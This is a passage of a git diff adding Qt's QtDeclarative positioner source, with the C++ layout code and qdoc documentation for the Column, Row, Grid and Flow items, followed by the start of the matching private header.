+ Note that the positioner assumes that the x and y positions of its children
+ will not change. If you manually change the x or y properties in script, bind
+ the x or y properties, use anchors on a child of a positioner, or have the
+ height of a child depend on the position of a child, then the
+ positioner may exhibit strange behavior. If you need to perform any of these
+ actions, consider positioning the items without the use of a Column.
+
+ Items with a width or height of 0 will not be positioned.
+
+ \sa Row, Grid, Flow, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty Transition Column::add
+
+ This property holds the transition to be applied when adding an
+ item to the positioner. The transition will only be applied to the
+ added item(s). Positioner transitions will only affect the
+ position (x, y) of items.
+
+ For a positioner, adding an item can mean that either the object
+ has been created or reparented, and thus is now a child or the
+ positioner, or that the object has had its opacity increased from
+ zero, and thus is now visible.
+
+ \sa move
+*/
+/*!
+ \qmlproperty Transition Column::move
+
+ This property holds the transition to apply when moving an item
+ within the positioner. Positioner transitions will only affect
+ the position (x, y) of items.
+
+ This transition can be performed when other items are added or removed
+ from the positioner, or when items resize themselves.
+
+ \image positioner-move.gif
+
+ \qml
+ Column {
+ move: Transition {
+ NumberAnimation {
+ properties: "y"
+ easing.type: Easing.OutBounce
+ }
+ }
+ }
+ \endqml
+
+ \sa add, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty int Column::spacing
+
+ The spacing is the amount in pixels left empty between adjacent
+ items. The default spacing is 0.
+
+ \sa Grid::spacing
+*/
+QDeclarativeColumn::QDeclarativeColumn(QDeclarativeItem *parent)
+: QDeclarativeBasePositioner(Vertical, parent)
+{
+}
+
+void QDeclarativeColumn::doPositioning(QSizeF *contentSize)
+{
+ int voffset = 0;
+
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (!child.item || !child.isVisible)
+ continue;
+
+ if(child.item->y() != voffset)
+ positionY(voffset, child);
+
+ contentSize->setWidth(qMax(contentSize->width(), QGraphicsItemPrivate::get(child.item)->width()));
+
+ voffset += QGraphicsItemPrivate::get(child.item)->height();
+ voffset += spacing();
+ }
+
+ contentSize->setHeight(voffset - spacing());
+}
+
+void QDeclarativeColumn::reportConflictingAnchors()
+{
+ QDeclarativeBasePositionerPrivate *d = static_cast<QDeclarativeBasePositionerPrivate*>(QDeclarativeBasePositionerPrivate::get(this));
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (child.item && QGraphicsItemPrivate::get(child.item)->isDeclarativeItem) {
+ QDeclarativeAnchors *anchors = QDeclarativeItemPrivate::get(static_cast<QDeclarativeItem *>(child.item))->_anchors;
+ if (anchors) {
+ QDeclarativeAnchors::Anchors usedAnchors = anchors->usedAnchors();
+ if (usedAnchors & QDeclarativeAnchors::TopAnchor ||
+ usedAnchors & QDeclarativeAnchors::BottomAnchor ||
+ usedAnchors & QDeclarativeAnchors::VCenterAnchor ||
+ anchors->fill() || anchors->centerIn()) {
+ d->anchorConflict = true;
+ break;
+ }
+ }
+ }
+ }
+ if (d->anchorConflict) {
+ qmlInfo(this) << "Cannot specify top, bottom, verticalCenter, fill or centerIn anchors for items inside Column";
+ }
+}
+
+/*!
+ \qmlclass Row QDeclarativeRow
+ \ingroup qml-positioning-elements
+ \since 4.7
+ \brief The Row item arranges its children horizontally.
+ \inherits Item
+
+ The Row item positions its child items so that they are horizontally
+ aligned and not overlapping.
+
+ Use \l spacing to set the spacing between items in a Row, and use the
+ \l add and \l move properties to set the transitions that should be applied
+ when items are added to, removed from, or re-positioned within the Row.
+
+ See \l{Using QML Positioner and Repeater Items} for more details about this item and other
+ related items.
+
+ \section1 Example Usage
+
+ The following example lays out differently shaped rectangles using a Row.
+
+ \image horizontalpositioner_example.png
+
+ \snippet doc/src/snippets/declarative/row/row.qml document
+
+ \section1 Using Transitions
+
+ Transitions can be used to animate items that are added to, moved within,
+ or removed from a Grid item. The \l add and \l move properties can be set to
+ the transitions that will be applied when items are added to, removed from,
+ or re-positioned within a Row item.
+
+ \section1 Limitations
+
+ Note that the positioner assumes that the x and y positions of its children
+ will not change. If you manually change the x or y properties in script, bind
+ the x or y properties, use anchors on a child of a positioner, or have the
+ width of a child depend on the position of a child, then the
+ positioner may exhibit strange behaviour. If you need to perform any of these
+ actions, consider positioning the items without the use of a Row.
+
+ Items with a width or height of 0 will not be positioned.
+
+ \sa Column, Grid, Flow, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty Transition Row::add
+
+ This property holds the transition to be applied when adding an
+ item to the positioner. The transition will only be applied to the
+ added item(s). Positioner transitions will only affect the
+ position (x, y) of items.
+
+ For a positioner, adding an item can mean that either the object
+ has been created or reparented, and thus is now a child or the
+ positioner, or that the object has had its opacity increased from
+ zero, and thus is now visible.
+
+ \sa move
+*/
+/*!
+ \qmlproperty Transition Row::move
+
+ This property holds the transition to be applied when moving an
+ item within the positioner. Positioner transitions will only affect
+ the position (x, y) of items.
+
+ This transition can be performed when other items are added or removed
+ from the positioner, or when items resize themselves.
+
+ \qml
+ Row {
+ id: positioner
+ move: Transition {
+ NumberAnimation {
+ properties: "x"
+ ease: "easeOutBounce"
+ }
+ }
+ }
+ \endqml
+
+ \sa add, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty int Row::spacing
+
+ The spacing is the amount in pixels left empty between adjacent
+ items. The default spacing is 0.
+
+ \sa Grid::spacing
+*/
+QDeclarativeRow::QDeclarativeRow(QDeclarativeItem *parent)
+: QDeclarativeBasePositioner(Horizontal, parent)
+{
+}
+
+/*!
+ \qmlproperty enumeration Row::layoutDirection
+ \since QtQuick 1.1
+
+ This property holds the layoutDirection of the row.
+
+ Possible values:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are laid out from left to right. If the width of the row is explicitly set,
+ the left anchor remains to the left of the row.
+ \o Qt.RightToLeft - Items are laid out from right to left. If the width of the row is explicitly set,
+ the right anchor remains to the right of the row.
+ \endlist
+
+ When using the attached property \l {LayoutMirroring::enabled} for locale layouts,
+ the visual layout direction of the row positioner will be mirrored. However, the
+ property \c layoutDirection will remain unchanged. You can use the property
+ \l {LayoutMirroring::enabled} to determine whether the direction has been mirrored.
+
+ \sa Grid::layoutDirection, Flow::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example}, {LayoutMirroring}{LayoutMirroring}
+*/
+Qt::LayoutDirection QDeclarativeRow::layoutDirection() const
+{
+ return QDeclarativeBasePositionerPrivate::getLayoutDirection(this);
+}
+
+void QDeclarativeRow::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+ QDeclarativeBasePositionerPrivate *d = static_cast<QDeclarativeBasePositionerPrivate* >(QDeclarativeBasePositionerPrivate::get(this));
+ if (d->layoutDirection != layoutDirection) {
+ d->layoutDirection = layoutDirection;
+ // For RTL layout the positioning changes when the width changes.
+ if (d->layoutDirection == Qt::RightToLeft)
+ d->addItemChangeListener(d, QDeclarativeItemPrivate::Geometry);
+ else
+ d->removeItemChangeListener(d, QDeclarativeItemPrivate::Geometry);
+ prePositioning();
+ emit layoutDirectionChanged();
+ }
+}
+
+Qt::LayoutDirection QDeclarativeRow::effectiveLayoutDirection() const
+{
+ return QDeclarativeBasePositionerPrivate::getEffectiveLayoutDirection(this);
+}
+
+void QDeclarativeRow::doPositioning(QSizeF *contentSize)
+{
+ QDeclarativeBasePositionerPrivate *d = static_cast<QDeclarativeBasePositionerPrivate*>(QDeclarativeBasePositionerPrivate::get(this));
+ int hoffset = 0;
+
+ QList<int> hoffsets;
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (!child.item || !child.isVisible)
+ continue;
+
+ if(d->isLeftToRight()){
+ if(child.item->x() != hoffset)
+ positionX(hoffset, child);
+ }else{
+ hoffsets << hoffset;
+ }
+
+ contentSize->setHeight(qMax(contentSize->height(), QGraphicsItemPrivate::get(child.item)->height()));
+
+ hoffset += QGraphicsItemPrivate::get(child.item)->width();
+ hoffset += spacing();
+ }
+
+ contentSize->setWidth(hoffset - spacing());
+
+ if(d->isLeftToRight())
+ return;
+
+ //Right to Left layout
+ int end = 0;
+ if(!widthValid())
+ end = contentSize->width();
+ else
+ end = width();
+
+ int acc = 0;
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (!child.item || !child.isVisible)
+ continue;
+ hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width();
+ if(child.item->x() != hoffset)
+ positionX(hoffset, child);
+ }
+}
+
+void QDeclarativeRow::reportConflictingAnchors()
+{
+ QDeclarativeBasePositionerPrivate *d = static_cast<QDeclarativeBasePositionerPrivate*>(QDeclarativeBasePositionerPrivate::get(this));
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (child.item && QGraphicsItemPrivate::get(child.item)->isDeclarativeItem) {
+ QDeclarativeAnchors *anchors = QDeclarativeItemPrivate::get(static_cast<QDeclarativeItem *>(child.item))->_anchors;
+ if (anchors) {
+ QDeclarativeAnchors::Anchors usedAnchors = anchors->usedAnchors();
+ if (usedAnchors & QDeclarativeAnchors::LeftAnchor ||
+ usedAnchors & QDeclarativeAnchors::RightAnchor ||
+ usedAnchors & QDeclarativeAnchors::HCenterAnchor ||
+ anchors->fill() || anchors->centerIn()) {
+ d->anchorConflict = true;
+ break;
+ }
+ }
+ }
+ }
+ if (d->anchorConflict)
+ qmlInfo(this) << "Cannot specify left, right, horizontalCenter, fill or centerIn anchors for items inside Row";
+}
+
+/*!
+ \qmlclass Grid QDeclarativeGrid
+ \ingroup qml-positioning-elements
+ \since 4.7
+ \brief The Grid item positions its children in a grid.
+ \inherits Item
+
+ The Grid item positions its child items so that they are
+ aligned in a grid and are not overlapping.
+
+ The grid positioner calculates a grid of rectangular cells of sufficient
+ size to hold all items, placing the items in the cells, from left to right
+ and top to bottom. Each item is positioned in the top-left corner of its
+ cell with position (0, 0).
+
+ A Grid defaults to four columns, and as many rows as are necessary to
+ fit all child items. The number of rows and columns can be constrained
+ by setting the \l rows and \l columns properties.
+
+ Spacing can be added between child items by setting the \l spacing
+ property. The amount of spacing applied will be the same in the
+ horizontal and vertical directions.
+
+ See \l{Using QML Positioner and Repeater Items} for more details about this item and other
+ related items.
+
+ \section1 Example Usage
+
+ The following example demonstrates this.
+
+ \image gridLayout_example.png
+
+ \snippet doc/src/snippets/declarative/grid/grid.qml document
+
+ \section1 Using Transitions
+
+ Transitions can be used to animate items that are added to, moved within,
+ or removed from a Grid item. The \l add and \l move properties can be set to
+ the transitions that will be applied when items are added to, removed from,
+ or re-positioned within a Grid item.
+
+ \section1 Limitations
+
+ Note that the positioner assumes that the x and y positions of its children
+ will not change. If you manually change the x or y properties in script, bind
+ the x or y properties, use anchors on a child of a positioner, or have the
+ width or height of a child depend on the position of a child, then the
+ positioner may exhibit strange behaviour. If you need to perform any of these
+ actions, consider positioning the items without the use of a Grid.
+
+ Items with a width or height of 0 will not be positioned.
+
+ \sa Flow, Row, Column, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty Transition Grid::add
+
+ This property holds the transition to be applied when adding an
+ item to the positioner. The transition will only be applied to the
+ added item(s). Positioner transitions will only affect the
+ position (x, y) of items.
+
+ For a positioner, adding an item can mean that either the object
+ has been created or reparented, and thus is now a child or the
+ positioner, or that the object has had its opacity increased from
+ zero, and thus is now visible.
+
+ \sa move
+*/
+/*!
+ \qmlproperty Transition Grid::move
+
+ This property holds the transition to be applied when moving an
+ item within the positioner. Positioner transitions will only affect
+ the position (x, y) of items.
+
+ This transition can be performed when other items are added or removed
+ from the positioner, or when items resize themselves.
+
+ \qml
+ Grid {
+ move: Transition {
+ NumberAnimation {
+ properties: "x,y"
+ ease: "easeOutBounce"
+ }
+ }
+ }
+ \endqml
+
+ \sa add, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty int Grid::spacing
+
+ The spacing is the amount in pixels left empty between adjacent
+ items. The default spacing is 0.
+
+ The below example places a Grid containing a red, a blue and a
+ green rectangle on a gray background. The area the grid positioner
+ occupies is colored white. The positioner on the left has the
+ no spacing (the default), and the positioner on the right has
+ a spacing of 6.
+
+ \inlineimage qml-grid-no-spacing.png
+ \inlineimage qml-grid-spacing.png
+
+ \sa rows, columns
+*/
+QDeclarativeGrid::QDeclarativeGrid(QDeclarativeItem *parent) :
+ QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight)
+{
+}
+
+/*!
+ \qmlproperty int Grid::columns
+
+ This property holds the number of columns in the grid. The default
+ number of columns is 4.
+
+ If the grid does not have enough items to fill the specified
+ number of columns, some columns will be of zero width.
+*/
+
+/*!
+ \qmlproperty int Grid::rows
+ This property holds the number of rows in the grid.
+
+ If the grid does not have enough items to fill the specified
+ number of rows, some rows will be of zero width.
+*/
+
+void QDeclarativeGrid::setColumns(const int columns)
+{
+ if (columns == m_columns)
+ return;
+ m_columns = columns;
+ prePositioning();
+ emit columnsChanged();
+}
+
+void QDeclarativeGrid::setRows(const int rows)
+{
+ if (rows == m_rows)
+ return;
+ m_rows = rows;
+ prePositioning();
+ emit rowsChanged();
+}
+
+/*!
+ \qmlproperty enumeration Grid::flow
+ This property holds the flow of the layout.
+
+ Possible values are:
+
+ \list
+ \o Grid.LeftToRight (default) - Items are positioned next to
+ each other in the \l layoutDirection, then wrapped to the next line.
+ \o Grid.TopToBottom - Items are positioned next to each
+ other from top to bottom, then wrapped to the next column.
+ \endlist
+*/
+QDeclarativeGrid::Flow QDeclarativeGrid::flow() const
+{
+ return m_flow;
+}
+
+void QDeclarativeGrid::setFlow(Flow flow)
+{
+ if (m_flow != flow) {
+ m_flow = flow;
+ prePositioning();
+ emit flowChanged();
+ }
+}
+
+/*!
+ \qmlproperty enumeration Grid::layoutDirection
+ \since QtQuick 1.1
+
+ This property holds the layout direction of the layout.
+
+ Possible values are:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are positioned from the top to bottom,
+ and left to right. The flow direction is dependent on the
+ \l Grid::flow property.
+ \o Qt.RightToLeft - Items are positioned from the top to bottom,
+ and right to left. The flow direction is dependent on the
+ \l Grid::flow property.
+ \endlist
+
+ When using the attached property \l {LayoutMirroring::enabled} for locale layouts,
+ the visual layout direction of the grid positioner will be mirrored. However, the
+ property \c layoutDirection will remain unchanged. You can use the property
+ \l {LayoutMirroring::enabled} to determine whether the direction has been mirrored.
+
+ \sa Flow::layoutDirection, Row::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example}, {LayoutMirroring}{LayoutMirroring}
+*/
+Qt::LayoutDirection QDeclarativeGrid::layoutDirection() const
+{
+ return QDeclarativeBasePositionerPrivate::getLayoutDirection(this);
+}
+
+void QDeclarativeGrid::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+ QDeclarativeBasePositionerPrivate *d = static_cast<QDeclarativeBasePositionerPrivate*>(QDeclarativeBasePositionerPrivate::get(this));
+ if (d->layoutDirection != layoutDirection) {
+ d->layoutDirection = layoutDirection;
+ // For RTL layout the positioning changes when the width changes.
+ if (d->layoutDirection == Qt::RightToLeft)
+ d->addItemChangeListener(d, QDeclarativeItemPrivate::Geometry);
+ else
+ d->removeItemChangeListener(d, QDeclarativeItemPrivate::Geometry);
+ prePositioning();
+ emit layoutDirectionChanged();;
+ }
+}
+
+Qt::LayoutDirection QDeclarativeGrid::effectiveLayoutDirection() const
+{
+ return QDeclarativeBasePositionerPrivate::getEffectiveLayoutDirection(this);
+}
+
+void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
+{
+ QDeclarativeBasePositionerPrivate *d = static_cast<QDeclarativeBasePositionerPrivate*>(QDeclarativeBasePositionerPrivate::get(this));
+ int c = m_columns;
+ int r = m_rows;
+ //Is allocating the extra QPODVector too much overhead?
+ QPODVector<PositionedItem, 8> visibleItems;//we aren't concerned with invisible items
+ visibleItems.reserve(positionedItems.count());
+ for(int i=0; i<positionedItems.count(); i++)
+ if(positionedItems[i].item && positionedItems[i].isVisible)
+ visibleItems.append(positionedItems[i]);
+
+ int numVisible = visibleItems.count();
+ if (m_columns <= 0 && m_rows <= 0){
+ c = 4;
+ r = (numVisible+3)/4;
+ } else if (m_rows <= 0){
+ r = (numVisible+(m_columns-1))/m_columns;
+ } else if (m_columns <= 0){
+ c = (numVisible+(m_rows-1))/m_rows;
+ }
+
+ if(r==0 || c==0)
+ return; //Nothing to do
+
+ QList<int> maxColWidth;
+ QList<int> maxRowHeight;
+ int childIndex =0;
+ if (m_flow == LeftToRight) {
+ for (int i=0; i < r; i++){
+ for (int j=0; j < c; j++){
+ if (j==0)
+ maxRowHeight << 0;
+ if (i==0)
+ maxColWidth << 0;
+
+ if (childIndex == visibleItems.count())
+ break;
+
+ const PositionedItem &child = visibleItems.at(childIndex++);
+ QGraphicsItemPrivate *childPrivate = QGraphicsItemPrivate::get(child.item);
+ if (childPrivate->width() > maxColWidth[j])
+ maxColWidth[j] = childPrivate->width();
+ if (childPrivate->height() > maxRowHeight[i])
+ maxRowHeight[i] = childPrivate->height();
+ }
+ }
+ } else {
+ for (int j=0; j < c; j++){
+ for (int i=0; i < r; i++){
+ if (j==0)
+ maxRowHeight << 0;
+ if (i==0)
+ maxColWidth << 0;
+
+ if (childIndex == visibleItems.count())
+ break;
+
+ const PositionedItem &child = visibleItems.at(childIndex++);
+ QGraphicsItemPrivate *childPrivate = QGraphicsItemPrivate::get(child.item);
+ if (childPrivate->width() > maxColWidth[j])
+ maxColWidth[j] = childPrivate->width();
+ if (childPrivate->height() > maxRowHeight[i])
+ maxRowHeight[i] = childPrivate->height();
+ }
+ }
+ }
+
+ int widthSum = 0;
+ for(int j=0; j < maxColWidth.size(); j++){
+ if(j)
+ widthSum += spacing();
+ widthSum += maxColWidth[j];
+ }
+
+ int heightSum = 0;
+ for(int i=0; i < maxRowHeight.size(); i++){
+ if(i)
+ heightSum += spacing();
+ heightSum += maxRowHeight[i];
+ }
+
+ contentSize->setHeight(heightSum);
+ contentSize->setWidth(widthSum);
+
+ int end = 0;
+ if(widthValid())
+ end = width();
+ else
+ end = widthSum;
+
+ int xoffset=0;
+ if(!d->isLeftToRight())
+ xoffset=end;
+ int yoffset=0;
+ int curRow =0;
+ int curCol =0;
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ const PositionedItem &child = visibleItems.at(i);
+ int childXOffset = xoffset;
+ if(!d->isLeftToRight())
+ childXOffset -= QGraphicsItemPrivate::get(child.item)->width();
+ if((child.item->x()!=childXOffset)||(child.item->y()!=yoffset)){
+ positionX(childXOffset, child);
+ positionY(yoffset, child);
+ }
+
+ if (m_flow == LeftToRight) {
+ if(d->isLeftToRight())
+ xoffset+=maxColWidth[curCol]+spacing();
+ else
+ xoffset-=maxColWidth[curCol]+spacing();
+ curCol++;
+ curCol%=c;
+ if (!curCol){
+ yoffset+=maxRowHeight[curRow]+spacing();
+ if(d->isLeftToRight())
+ xoffset=0;
+ else
+ xoffset=end;
+ curRow++;
+ if (curRow>=r)
+ break;
+ }
+ } else {
+ yoffset+=maxRowHeight[curRow]+spacing();
+ curRow++;
+ curRow%=r;
+ if (!curRow){
+ if(d->isLeftToRight())
+ xoffset+=maxColWidth[curCol]+spacing();
+ else
+ xoffset-=maxColWidth[curCol]+spacing();
+ yoffset=0;
+ curCol++;
+ if (curCol>=c)
+ break;
+ }
+ }
+ }
+}
+
+void QDeclarativeGrid::reportConflictingAnchors()
+{
+ QDeclarativeBasePositionerPrivate *d = static_cast<QDeclarativeBasePositionerPrivate*>(QDeclarativeBasePositionerPrivate::get(this));
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (child.item && QGraphicsItemPrivate::get(child.item)->isDeclarativeItem) {
+ QDeclarativeAnchors *anchors = QDeclarativeItemPrivate::get(static_cast<QDeclarativeItem *>(child.item))->_anchors;
+ if (anchors && (anchors->usedAnchors() || anchors->fill() || anchors->centerIn())) {
+ d->anchorConflict = true;
+ break;
+ }
+ }
+ }
+ if (d->anchorConflict)
+ qmlInfo(this) << "Cannot specify anchors for items inside Grid";
+}
+
+/*!
+ \qmlclass Flow QDeclarativeFlow
+ \ingroup qml-positioning-elements
+ \since 4.7
+ \brief The Flow item arranges its children side by side, wrapping as necessary.
+ \inherits Item
+
+ The Flow item positions its child items like words on a page, wrapping them
+ to create rows or columns of items that do not overlap.
+
+ Spacing between items can be added using the \l spacing property.
+ Transitions can be used for cases where items managed by a Column are
+ added or moved. These are stored in the \l add and \l move properties
+ respectively.
+
+ See \l{Using QML Positioner and Repeater Items} for more details about this item and other
+ related items.
+
+ \section1 Example Usage
+
+ The following example positions \l Text items within a parent item using
+ a Flow item.
+
+ \image qml-flow-snippet.png
+
+ \snippet doc/src/snippets/declarative/flow.qml flow item
+
+ \section1 Using Transitions
+
+ Transitions can be used to animate items that are added to, moved within,
+ or removed from a Flow item. The \l add and \l move properties can be set to
+ the transitions that will be applied when items are added to, removed from,
+ or re-positioned within a Flow item.
+
+ The use of transitions with positioners is described in more detail in the
+ \l{Using QML Positioner and Repeater Items#Using Transitions}{Using QML
+ Positioner and Repeater Items} document.
+
+ \section1 Limitations
+
+ Note that the positioner assumes that the x and y positions of its children
+ will not change. If you manually change the x or y properties in script, bind
+ the x or y properties, use anchors on a child of a positioner, or have the
+ width or height of a child depend on the position of a child, then the
+ positioner may exhibit strange behaviour. If you need to perform any of these
+ actions, consider positioning the items without the use of a Flow.
+
+ Items with a width or height of 0 will not be positioned.
+
+ \sa Column, Row, Grid, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty Transition Flow::add
+
+ This property holds the transition to be applied when adding an
+ item to the positioner. The transition will only be applied to the
+ added item(s). Positioner transitions will only affect the
+ position (x, y) of items.
+
+ For a positioner, adding an item can mean that either the object
+ has been created or reparented, and thus is now a child or the
+ positioner, or that the object has had its opacity increased from
+ zero, and thus is now visible.
+
+ \sa move
+*/
+/*!
+ \qmlproperty Transition Flow::move
+
+ This property holds the transition to be applied when moving an
+ item within the positioner. Positioner transitions will only affect
+ the position (x, y) of items.
+
+ This transition can be performed when other items are added or removed
+ from the positioner, or when items resize themselves.
+
+ \qml
+ Flow {
+ id: positioner
+ move: Transition {
+ NumberAnimation {
+ properties: "x,y"
+ ease: "easeOutBounce"
+ }
+ }
+ }
+ \endqml
+
+ \sa add, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty int Flow::spacing
+
+ spacing is the amount in pixels left empty between each adjacent
+ item, and defaults to 0.
+
+ \sa Grid::spacing
+*/
+
+class QDeclarativeFlowPrivate : public QDeclarativeBasePositionerPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeFlow)
+
+public:
+ QDeclarativeFlowPrivate()
+ : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight)
+ {}
+
+ QDeclarativeFlow::Flow flow;
+};
+
+QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent)
+: QDeclarativeBasePositioner(*(new QDeclarativeFlowPrivate), Both, parent)
+{
+ Q_D(QDeclarativeFlow);
+ // Flow layout requires relayout if its own size changes too.
+ d->addItemChangeListener(d, QDeclarativeItemPrivate::Geometry);
+}
+
+/*!
+ \qmlproperty enumeration Flow::flow
+ This property holds the flow of the layout.
+
+ Possible values are:
+
+ \list
+ \o Flow.LeftToRight (default) - Items are positioned next to
+ to each other according to the \l layoutDirection until the width of the Flow
+ is exceeded, then wrapped to the next line.
+ \o Flow.TopToBottom - Items are positioned next to each
+ other from top to bottom until the height of the Flow is exceeded,
+ then wrapped to the next column.
+ \endlist
+*/
+QDeclarativeFlow::Flow QDeclarativeFlow::flow() const
+{
+ Q_D(const QDeclarativeFlow);
+ return d->flow;
+}
+
+void QDeclarativeFlow::setFlow(Flow flow)
+{
+ Q_D(QDeclarativeFlow);
+ if (d->flow != flow) {
+ d->flow = flow;
+ prePositioning();
+ emit flowChanged();
+ }
+}
+
+/*!
+ \qmlproperty enumeration Flow::layoutDirection
+ \since QtQuick 1.1
+
+ This property holds the layout direction of the layout.
+
+ Possible values are:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are positioned from the top to bottom,
+ and left to right. The flow direction is dependent on the
+ \l Flow::flow property.
+ \o Qt.RightToLeft - Items are positioned from the top to bottom,
+ and right to left. The flow direction is dependent on the
+ \l Flow::flow property.
+ \endlist
+
+ When using the attached property \l {LayoutMirroring::enabled} for locale layouts,
+ the visual layout direction of the flow positioner will be mirrored. However, the
+ property \c layoutDirection will remain unchanged. You can use the property
+ \l {LayoutMirroring::enabled} to determine whether the direction has been mirrored.
+
+ \sa Grid::layoutDirection, Row::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example}, {LayoutMirroring}{LayoutMirroring}
+*/
+
+Qt::LayoutDirection QDeclarativeFlow::layoutDirection() const
+{
+ Q_D(const QDeclarativeFlow);
+ return d->layoutDirection;
+}
+
+void QDeclarativeFlow::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+ Q_D(QDeclarativeFlow);
+ if (d->layoutDirection != layoutDirection) {
+ d->layoutDirection = layoutDirection;
+ prePositioning();
+ emit layoutDirectionChanged();
+ }
+}
+
+Qt::LayoutDirection QDeclarativeFlow::effectiveLayoutDirection() const
+{
+ return QDeclarativeBasePositionerPrivate::getEffectiveLayoutDirection(this);
+}
+
+void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
+{
+ Q_D(QDeclarativeFlow);
+
+ int hoffset = 0;
+ int voffset = 0;
+ int linemax = 0;
+ QList<int> hoffsets;
+
+ for (int i = 0; i < positionedItems.count(); ++i) {
+ const PositionedItem &child = positionedItems.at(i);
+ if (!child.item || !child.isVisible)
+ continue;
+
+ QGraphicsItemPrivate *childPrivate = QGraphicsItemPrivate::get(child.item);
+ if (d->flow == LeftToRight) {
+ if (widthValid() && hoffset && hoffset + childPrivate->width() > width()) {
+ hoffset = 0;
+ voffset += linemax + spacing();
+ linemax = 0;
+ }
+ } else {
+ if (heightValid() && voffset && voffset + childPrivate->height() > height()) {
+ voffset = 0;
+ hoffset += linemax + spacing();
+ linemax = 0;
+ }
+ }
+
+ if(d->isLeftToRight()){
+ if(child.item->x() != hoffset)
+ positionX(hoffset, child);
+ }else{
+ hoffsets << hoffset;
+ }
+ if(child.item->y() != voffset)
+ positionY(voffset, child);
+
+ contentSize->setWidth(qMax(contentSize->width(), hoffset + childPrivate->width()));
+ contentSize->setHeight(qMax(contentSize->height(), voffset + childPrivate->height()));
+
+ if (d->flow == LeftToRight) {
+ hoffset += childPrivate->width();
+ hoffset += spacing();
+ linemax = qMax(linemax, qCeil(childPrivate->height()));
+ } else {
+ voffset += childPrivate->height();
+ voffset += spacing();
+ linemax = qMax(linemax, qCeil(childPrivate->width()));
+ }
+ }
+
+ if(d->isLeftToRight())
+ return;
+
+ int end;
+ if(widthValid())
+ end = width();
+ else
+ end = contentSize->width();
+ int acc = 0;
+ for (int i = 0; i < positionedItems.count(); ++i) {
+ const PositionedItem &child = positionedItems.at(i);
+ if (!child.item || !child.isVisible)
+ continue;
+ hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width();
+ if(child.item->x() != hoffset)
+ positionX(hoffset, child);
+ }
+}
+
+void QDeclarativeFlow::reportConflictingAnchors()
+{
+ Q_D(QDeclarativeFlow);
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (child.item && QGraphicsItemPrivate::get(child.item)->isDeclarativeItem) {
+ QDeclarativeAnchors *anchors = QDeclarativeItemPrivate::get(static_cast<QDeclarativeItem *>(child.item))->_anchors;
+ if (anchors && (anchors->usedAnchors() || anchors->fill() || anchors->centerIn())) {
+ d->anchorConflict = true;
+ break;
+ }
+ }
+ }
+ if (d->anchorConflict)
+ qmlInfo(this) << "Cannot specify anchors for items inside Flow";
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
new file mode 100644
index 00000000..2371ea49
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
@@ -0,0 +1,233 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELAYOUTS_H
+#define QDECLARATIVELAYOUTS_H
+
+#include "qdeclarativeimplicitsizeitem_p.h"
+
